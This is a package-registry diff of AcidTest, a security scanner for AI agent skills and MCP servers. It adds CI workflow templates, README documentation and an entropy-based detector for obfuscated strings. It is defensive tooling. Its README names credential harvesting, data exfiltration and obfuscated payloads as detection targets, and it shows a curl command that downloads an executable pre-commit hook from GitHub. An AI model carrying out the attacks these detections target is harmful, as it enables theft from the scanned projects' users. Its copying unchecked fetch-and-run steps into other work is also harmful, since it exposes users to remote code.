acidtest 0.3.0 → 0.5.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.github/workflows/acidtest-example.yml +156 -0
- package/.github/workflows/acidtest-template.yml +53 -0
- package/README.md +56 -3
- package/dist/index.js +1 -1
- package/dist/layers/code.js +74 -0
- package/dist/layers/code.js.map +1 -1
- package/dist/mcp-server.js +1 -1
- package/dist/scanner.js +1 -1
- package/hooks/README.md +104 -0
- package/hooks/pre-commit +74 -0
- package/package.json +4 -2
- package/test-fixtures/fixture-entropy/SKILL.md +8 -0
- package/test-fixtures/fixture-entropy/handler.ts +19 -0
|
@@ -0,0 +1,156 @@
|
|
|
1
|
+
# Example GitHub Actions workflow for AcidTest
|
|
2
|
+
# This file demonstrates how to use AcidTest in CI/CD pipelines
|
|
3
|
+
# Copy and adapt this to your skill/MCP server repository
|
|
4
|
+
|
|
5
|
+
name: AcidTest Security Scan
|
|
6
|
+
|
|
7
|
+
on:
|
|
8
|
+
pull_request:
|
|
9
|
+
paths:
|
|
10
|
+
- '**.ts'
|
|
11
|
+
- '**.js'
|
|
12
|
+
- '**/SKILL.md'
|
|
13
|
+
- '**/mcp.json'
|
|
14
|
+
- '**/server.json'
|
|
15
|
+
push:
|
|
16
|
+
branches: [main]
|
|
17
|
+
|
|
18
|
+
jobs:
|
|
19
|
+
# Example 1: Simple scan
|
|
20
|
+
scan-simple:
|
|
21
|
+
name: Simple Security Scan
|
|
22
|
+
runs-on: ubuntu-latest
|
|
23
|
+
steps:
|
|
24
|
+
- uses: actions/checkout@v4
|
|
25
|
+
|
|
26
|
+
- name: Run AcidTest
|
|
27
|
+
run: npx acidtest@latest scan .
|
|
28
|
+
|
|
29
|
+
# Example 2: Scan with failure threshold
|
|
30
|
+
scan-with-threshold:
|
|
31
|
+
name: Scan with Threshold
|
|
32
|
+
runs-on: ubuntu-latest
|
|
33
|
+
steps:
|
|
34
|
+
- uses: actions/checkout@v4
|
|
35
|
+
|
|
36
|
+
- name: Run AcidTest
|
|
37
|
+
id: acidtest
|
|
38
|
+
run: |
|
|
39
|
+
# Run scan and capture output
|
|
40
|
+
npx acidtest@latest scan . --json > scan-results.json
|
|
41
|
+
|
|
42
|
+
# Parse results
|
|
43
|
+
SCORE=$(jq -r '.score' scan-results.json)
|
|
44
|
+
STATUS=$(jq -r '.status' scan-results.json)
|
|
45
|
+
|
|
46
|
+
echo "score=$SCORE" >> $GITHUB_OUTPUT
|
|
47
|
+
echo "status=$STATUS" >> $GITHUB_OUTPUT
|
|
48
|
+
|
|
49
|
+
# Display results
|
|
50
|
+
cat scan-results.json | jq '.'
|
|
51
|
+
|
|
52
|
+
# Fail if status is FAIL or DANGER
|
|
53
|
+
if [ "$STATUS" = "FAIL" ] || [ "$STATUS" = "DANGER" ]; then
|
|
54
|
+
echo "❌ Security scan failed with status: $STATUS (score: $SCORE)"
|
|
55
|
+
exit 1
|
|
56
|
+
elif [ "$STATUS" = "WARN" ]; then
|
|
57
|
+
echo "⚠️ Security scan warning: $STATUS (score: $SCORE)"
|
|
58
|
+
echo "Review findings before merging"
|
|
59
|
+
else
|
|
60
|
+
echo "✅ Security scan passed: $STATUS (score: $SCORE)"
|
|
61
|
+
fi
|
|
62
|
+
|
|
63
|
+
- name: Upload scan results
|
|
64
|
+
if: always()
|
|
65
|
+
uses: actions/upload-artifact@v4
|
|
66
|
+
with:
|
|
67
|
+
name: acidtest-results
|
|
68
|
+
path: scan-results.json
|
|
69
|
+
|
|
70
|
+
# Example 3: Scan all skills in directory
|
|
71
|
+
scan-all:
|
|
72
|
+
name: Scan All Skills
|
|
73
|
+
runs-on: ubuntu-latest
|
|
74
|
+
steps:
|
|
75
|
+
- uses: actions/checkout@v4
|
|
76
|
+
|
|
77
|
+
- name: Run AcidTest on all skills
|
|
78
|
+
run: |
|
|
79
|
+
npx acidtest@latest scan-all ./skills --json > results.json
|
|
80
|
+
|
|
81
|
+
# Check if any skill failed
|
|
82
|
+
FAILURES=$(jq '[.[] | select(.status == "FAIL" or .status == "DANGER")] | length' results.json)
|
|
83
|
+
|
|
84
|
+
if [ "$FAILURES" -gt 0 ]; then
|
|
85
|
+
echo "❌ $FAILURES skill(s) failed security scan"
|
|
86
|
+
jq -r '.[] | select(.status == "FAIL" or .status == "DANGER") | " - \(.skill.name): \(.status) (score: \(.score))"' results.json
|
|
87
|
+
exit 1
|
|
88
|
+
else
|
|
89
|
+
echo "✅ All skills passed security scan"
|
|
90
|
+
fi
|
|
91
|
+
|
|
92
|
+
# Example 4: Comment results on PR (requires GITHUB_TOKEN with write permissions)
|
|
93
|
+
scan-and-comment:
|
|
94
|
+
name: Scan and Comment
|
|
95
|
+
runs-on: ubuntu-latest
|
|
96
|
+
if: github.event_name == 'pull_request'
|
|
97
|
+
permissions:
|
|
98
|
+
pull-requests: write
|
|
99
|
+
contents: read
|
|
100
|
+
steps:
|
|
101
|
+
- uses: actions/checkout@v4
|
|
102
|
+
|
|
103
|
+
- name: Run AcidTest
|
|
104
|
+
id: scan
|
|
105
|
+
run: |
|
|
106
|
+
npx acidtest@latest scan . --json > scan-results.json
|
|
107
|
+
|
|
108
|
+
SCORE=$(jq -r '.score' scan-results.json)
|
|
109
|
+
STATUS=$(jq -r '.status' scan-results.json)
|
|
110
|
+
RECOMMENDATION=$(jq -r '.recommendation' scan-results.json)
|
|
111
|
+
|
|
112
|
+
echo "score=$SCORE" >> $GITHUB_OUTPUT
|
|
113
|
+
echo "status=$STATUS" >> $GITHUB_OUTPUT
|
|
114
|
+
|
|
115
|
+
# Create markdown comment
|
|
116
|
+
cat > comment.md << 'EOF'
|
|
117
|
+
## 🛡️ AcidTest Security Scan
|
|
118
|
+
|
|
119
|
+
**Score:** $SCORE/100
|
|
120
|
+
**Status:** $STATUS
|
|
121
|
+
|
|
122
|
+
**Recommendation:** $RECOMMENDATION
|
|
123
|
+
|
|
124
|
+
<details>
|
|
125
|
+
<summary>View full results</summary>
|
|
126
|
+
|
|
127
|
+
```json
|
|
128
|
+
EOF
|
|
129
|
+
|
|
130
|
+
cat scan-results.json | jq '.' >> comment.md
|
|
131
|
+
|
|
132
|
+
cat >> comment.md << 'EOF'
|
|
133
|
+
```
|
|
134
|
+
|
|
135
|
+
</details>
|
|
136
|
+
EOF
|
|
137
|
+
|
|
138
|
+
- name: Comment PR
|
|
139
|
+
uses: actions/github-script@v7
|
|
140
|
+
with:
|
|
141
|
+
script: |
|
|
142
|
+
const fs = require('fs');
|
|
143
|
+
const comment = fs.readFileSync('comment.md', 'utf8');
|
|
144
|
+
|
|
145
|
+
github.rest.issues.createComment({
|
|
146
|
+
owner: context.repo.owner,
|
|
147
|
+
repo: context.repo.repo,
|
|
148
|
+
issue_number: context.issue.number,
|
|
149
|
+
body: comment
|
|
150
|
+
});
|
|
151
|
+
|
|
152
|
+
- name: Fail if dangerous
|
|
153
|
+
if: steps.scan.outputs.status == 'FAIL' || steps.scan.outputs.status == 'DANGER'
|
|
154
|
+
run: |
|
|
155
|
+
echo "❌ Security scan failed"
|
|
156
|
+
exit 1
|
|
@@ -0,0 +1,53 @@
|
|
|
1
|
+
# AcidTest GitHub Action Template
|
|
2
|
+
# Copy this file to your skill/MCP server repository as .github/workflows/acidtest.yml
|
|
3
|
+
# Automatically scans for security issues on every PR
|
|
4
|
+
|
|
5
|
+
name: Security Scan
|
|
6
|
+
|
|
7
|
+
on:
|
|
8
|
+
pull_request:
|
|
9
|
+
push:
|
|
10
|
+
branches: [main, master]
|
|
11
|
+
|
|
12
|
+
jobs:
|
|
13
|
+
acidtest:
|
|
14
|
+
name: AcidTest Security Scan
|
|
15
|
+
runs-on: ubuntu-latest
|
|
16
|
+
|
|
17
|
+
steps:
|
|
18
|
+
- name: Checkout code
|
|
19
|
+
uses: actions/checkout@v4
|
|
20
|
+
|
|
21
|
+
- name: Run AcidTest
|
|
22
|
+
run: |
|
|
23
|
+
# Install and run AcidTest
|
|
24
|
+
npx acidtest@latest scan . --json > results.json
|
|
25
|
+
|
|
26
|
+
# Parse results
|
|
27
|
+
SCORE=$(jq -r '.score' results.json)
|
|
28
|
+
STATUS=$(jq -r '.status' results.json)
|
|
29
|
+
|
|
30
|
+
echo "🛡️ AcidTest Results"
|
|
31
|
+
echo "Score: $SCORE/100"
|
|
32
|
+
echo "Status: $STATUS"
|
|
33
|
+
echo ""
|
|
34
|
+
|
|
35
|
+
# Display findings
|
|
36
|
+
jq -r '.findings[] | " [\(.severity)] \(.title)"' results.json || true
|
|
37
|
+
|
|
38
|
+
# Fail on FAIL or DANGER status
|
|
39
|
+
if [ "$STATUS" = "FAIL" ] || [ "$STATUS" = "DANGER" ]; then
|
|
40
|
+
echo ""
|
|
41
|
+
echo "❌ Security scan failed"
|
|
42
|
+
exit 1
|
|
43
|
+
fi
|
|
44
|
+
|
|
45
|
+
echo ""
|
|
46
|
+
echo "✅ Security scan passed"
|
|
47
|
+
|
|
48
|
+
- name: Upload results
|
|
49
|
+
if: always()
|
|
50
|
+
uses: actions/upload-artifact@v4
|
|
51
|
+
with:
|
|
52
|
+
name: acidtest-results
|
|
53
|
+
path: results.json
|
package/README.md
CHANGED
|
@@ -26,7 +26,7 @@ No API keys. No configuration. No Python.
|
|
|
26
26
|
|
|
27
27
|
## Example Output
|
|
28
28
|
```
|
|
29
|
-
AcidTest v0.
|
|
29
|
+
AcidTest v0.5.0
|
|
30
30
|
|
|
31
31
|
Scanning: proactive-agent
|
|
32
32
|
Source: test-skills/proactive-agent-1-2-4-1
|
|
@@ -62,7 +62,7 @@ RECOMMENDATION: Do not install. Prompt injection attempt detected.
|
|
|
62
62
|
- Credential harvesting
|
|
63
63
|
- Permission mismatches
|
|
64
64
|
- Data exfiltration patterns
|
|
65
|
-
- Obfuscated payloads
|
|
65
|
+
- Obfuscated payloads (regex + entropy analysis)
|
|
66
66
|
|
|
67
67
|
**For MCP Servers:**
|
|
68
68
|
- Dangerous command execution
|
|
@@ -76,9 +76,14 @@ RECOMMENDATION: Do not install. Prompt injection attempt detected.
|
|
|
76
76
|
AcidTest runs four analysis layers:
|
|
77
77
|
1. **Permission Audit**: Analyzes declared permissions (bins, env, tools)
|
|
78
78
|
2. **Prompt Injection Scan**: Detects instruction override attempts (AgentSkills)
|
|
79
|
-
3. **Code Analysis**: AST-based analysis
|
|
79
|
+
3. **Code Analysis**: AST-based analysis + Shannon entropy detection for obfuscation
|
|
80
80
|
4. **Cross-Reference**: Catches code behavior not matching declared permissions
|
|
81
81
|
|
|
82
|
+
**Advanced Features:**
|
|
83
|
+
- Entropy analysis detects base64/hex encoding and obfuscated strings
|
|
84
|
+
- Pattern-based detection with 48 security patterns
|
|
85
|
+
- CI/CD integration via GitHub Actions and pre-commit hooks
|
|
86
|
+
|
|
82
87
|
Works with both SKILL.md (AgentSkills) and MCP manifests (mcp.json, server.json, package.json).
|
|
83
88
|
|
|
84
89
|
## Install
|
|
@@ -164,6 +169,54 @@ User: "Can you scan this MCP server before I install it?"
|
|
|
164
169
|
Claude: [Uses acidtest scan_skill tool to analyze the server]
|
|
165
170
|
```
|
|
166
171
|
|
|
172
|
+
### Use in CI/CD
|
|
173
|
+
|
|
174
|
+
Automate security scanning in your GitHub Actions workflows.
|
|
175
|
+
|
|
176
|
+
#### Quick Setup
|
|
177
|
+
|
|
178
|
+
Copy this workflow to `.github/workflows/acidtest.yml` in your skill repository:
|
|
179
|
+
|
|
180
|
+
```yaml
|
|
181
|
+
name: Security Scan
|
|
182
|
+
|
|
183
|
+
on: [pull_request, push]
|
|
184
|
+
|
|
185
|
+
jobs:
|
|
186
|
+
acidtest:
|
|
187
|
+
runs-on: ubuntu-latest
|
|
188
|
+
steps:
|
|
189
|
+
- uses: actions/checkout@v4
|
|
190
|
+
- run: npx acidtest@latest scan . --json > results.json
|
|
191
|
+
- run: |
|
|
192
|
+
STATUS=$(jq -r '.status' results.json)
|
|
193
|
+
if [ "$STATUS" = "FAIL" ] || [ "$STATUS" = "DANGER" ]; then
|
|
194
|
+
echo "❌ Security scan failed"
|
|
195
|
+
exit 1
|
|
196
|
+
fi
|
|
197
|
+
```
|
|
198
|
+
|
|
199
|
+
See [`.github/workflows/acidtest-template.yml`](.github/workflows/acidtest-template.yml) for a production-ready template, or [`.github/workflows/acidtest-example.yml`](.github/workflows/acidtest-example.yml) for advanced examples including:
|
|
200
|
+
- Failure thresholds
|
|
201
|
+
- Bulk scanning
|
|
202
|
+
- PR comments
|
|
203
|
+
- Artifact uploads
|
|
204
|
+
|
|
205
|
+
#### Pre-Commit Hook
|
|
206
|
+
|
|
207
|
+
Catch issues before committing:
|
|
208
|
+
|
|
209
|
+
```bash
|
|
210
|
+
# Install pre-commit hook
|
|
211
|
+
curl -o .git/hooks/pre-commit https://raw.githubusercontent.com/currentlycurrently/acidtest/main/hooks/pre-commit
|
|
212
|
+
chmod +x .git/hooks/pre-commit
|
|
213
|
+
|
|
214
|
+
# Now every commit runs AcidTest automatically
|
|
215
|
+
git commit -m "Add new feature" # Scans before committing
|
|
216
|
+
```
|
|
217
|
+
|
|
218
|
+
See [`hooks/README.md`](hooks/README.md) for installation options and configuration.
|
|
219
|
+
|
|
167
220
|
## Scoring
|
|
168
221
|
|
|
169
222
|
Starts at 100, deducts by severity (CRITICAL: -25, HIGH: -15, MEDIUM: -8, LOW: -3). Score 80+ is PASS, 50-79 is WARN, 20-49 is FAIL, below 20 is DANGER.
|
package/dist/index.js
CHANGED
|
@@ -8,7 +8,7 @@ import { reportToTerminal, reportAsJSON } from "./reporter.js";
|
|
|
8
8
|
import { join, dirname } from "path";
|
|
9
9
|
import { fileURLToPath } from "url";
|
|
10
10
|
import { spawn } from "child_process";
|
|
11
|
-
const VERSION = "0.
|
|
11
|
+
const VERSION = "0.5.0";
|
|
12
12
|
/**
|
|
13
13
|
* Main CLI function
|
|
14
14
|
*/
|
package/dist/layers/code.js
CHANGED
|
@@ -95,6 +95,9 @@ function scanCodeWithAST(codeFile) {
|
|
|
95
95
|
// Check for suspicious patterns
|
|
96
96
|
const suspiciousFindings = detectSuspiciousPatterns(sourceFile, relativePath);
|
|
97
97
|
findings.push(...suspiciousFindings);
|
|
98
|
+
// Entropy-based obfuscation detection
|
|
99
|
+
const entropyFindings = detectHighEntropyStrings(sourceFile, relativePath);
|
|
100
|
+
findings.push(...entropyFindings);
|
|
98
101
|
}
|
|
99
102
|
catch (error) {
|
|
100
103
|
// If parsing fails, the code might be malformed or obfuscated
|
|
@@ -182,6 +185,77 @@ function detectSuspiciousPatterns(sourceFile, filePath) {
|
|
|
182
185
|
}
|
|
183
186
|
return findings;
|
|
184
187
|
}
|
|
188
|
+
/**
|
|
189
|
+
* Calculate Shannon entropy of a string
|
|
190
|
+
* Returns a value between 0 (no randomness) and ~8 (maximum randomness for byte strings)
|
|
191
|
+
*/
|
|
192
|
+
function calculateEntropy(str) {
|
|
193
|
+
if (str.length === 0)
|
|
194
|
+
return 0;
|
|
195
|
+
// Count character frequencies
|
|
196
|
+
const freq = new Map();
|
|
197
|
+
for (const char of str) {
|
|
198
|
+
freq.set(char, (freq.get(char) || 0) + 1);
|
|
199
|
+
}
|
|
200
|
+
// Calculate entropy using Shannon formula: -Σ(p * log2(p))
|
|
201
|
+
let entropy = 0;
|
|
202
|
+
const length = str.length;
|
|
203
|
+
for (const count of freq.values()) {
|
|
204
|
+
const probability = count / length;
|
|
205
|
+
entropy -= probability * Math.log2(probability);
|
|
206
|
+
}
|
|
207
|
+
return entropy;
|
|
208
|
+
}
|
|
209
|
+
/**
|
|
210
|
+
* Detect high-entropy strings that may indicate obfuscation
|
|
211
|
+
*/
|
|
212
|
+
function detectHighEntropyStrings(sourceFile, filePath) {
|
|
213
|
+
const findings = [];
|
|
214
|
+
const ENTROPY_THRESHOLD = 4.5; // Strings above this are suspicious
|
|
215
|
+
const MIN_LENGTH = 20; // Only check strings longer than this
|
|
216
|
+
const highEntropyStrings = [];
|
|
217
|
+
function visit(node) {
|
|
218
|
+
// Check string literals and template literals
|
|
219
|
+
if (ts.isStringLiteral(node) || ts.isNoSubstitutionTemplateLiteral(node)) {
|
|
220
|
+
const text = node.text;
|
|
221
|
+
// Skip short strings and URLs (already detected elsewhere)
|
|
222
|
+
if (text.length < MIN_LENGTH) {
|
|
223
|
+
ts.forEachChild(node, visit);
|
|
224
|
+
return;
|
|
225
|
+
}
|
|
226
|
+
// Skip URLs, they naturally have high entropy
|
|
227
|
+
if (/^https?:\/\//.test(text)) {
|
|
228
|
+
ts.forEachChild(node, visit);
|
|
229
|
+
return;
|
|
230
|
+
}
|
|
231
|
+
const entropy = calculateEntropy(text);
|
|
232
|
+
if (entropy > ENTROPY_THRESHOLD) {
|
|
233
|
+
const lineNumber = sourceFile.getLineAndCharacterOfPosition(node.getStart()).line + 1;
|
|
234
|
+
highEntropyStrings.push({
|
|
235
|
+
text: text.substring(0, 50) + (text.length > 50 ? '...' : ''),
|
|
236
|
+
entropy: Math.round(entropy * 100) / 100,
|
|
237
|
+
line: lineNumber
|
|
238
|
+
});
|
|
239
|
+
}
|
|
240
|
+
}
|
|
241
|
+
ts.forEachChild(node, visit);
|
|
242
|
+
}
|
|
243
|
+
visit(sourceFile);
|
|
244
|
+
// Only create a finding if we found high-entropy strings
|
|
245
|
+
if (highEntropyStrings.length > 0) {
|
|
246
|
+
const first = highEntropyStrings[0];
|
|
247
|
+
findings.push({
|
|
248
|
+
severity: 'MEDIUM',
|
|
249
|
+
category: 'obfuscation',
|
|
250
|
+
title: 'High-entropy strings detected',
|
|
251
|
+
file: filePath,
|
|
252
|
+
line: first.line,
|
|
253
|
+
detail: `Found ${highEntropyStrings.length} string(s) with high entropy (>${ENTROPY_THRESHOLD})`,
|
|
254
|
+
evidence: `Entropy: ${first.entropy}, Example: "${first.text}"`
|
|
255
|
+
});
|
|
256
|
+
}
|
|
257
|
+
return findings;
|
|
258
|
+
}
|
|
185
259
|
/**
|
|
186
260
|
* Find line number for a match in text
|
|
187
261
|
*/
|
package/dist/layers/code.js.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"code.js","sourceRoot":"","sources":["../../src/layers/code.ts"],"names":[],"mappings":"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
|
|
1
|
+
{"version":3,"file":"code.js","sourceRoot":"","sources":["../../src/layers/code.ts"],"names":[],"mappings":"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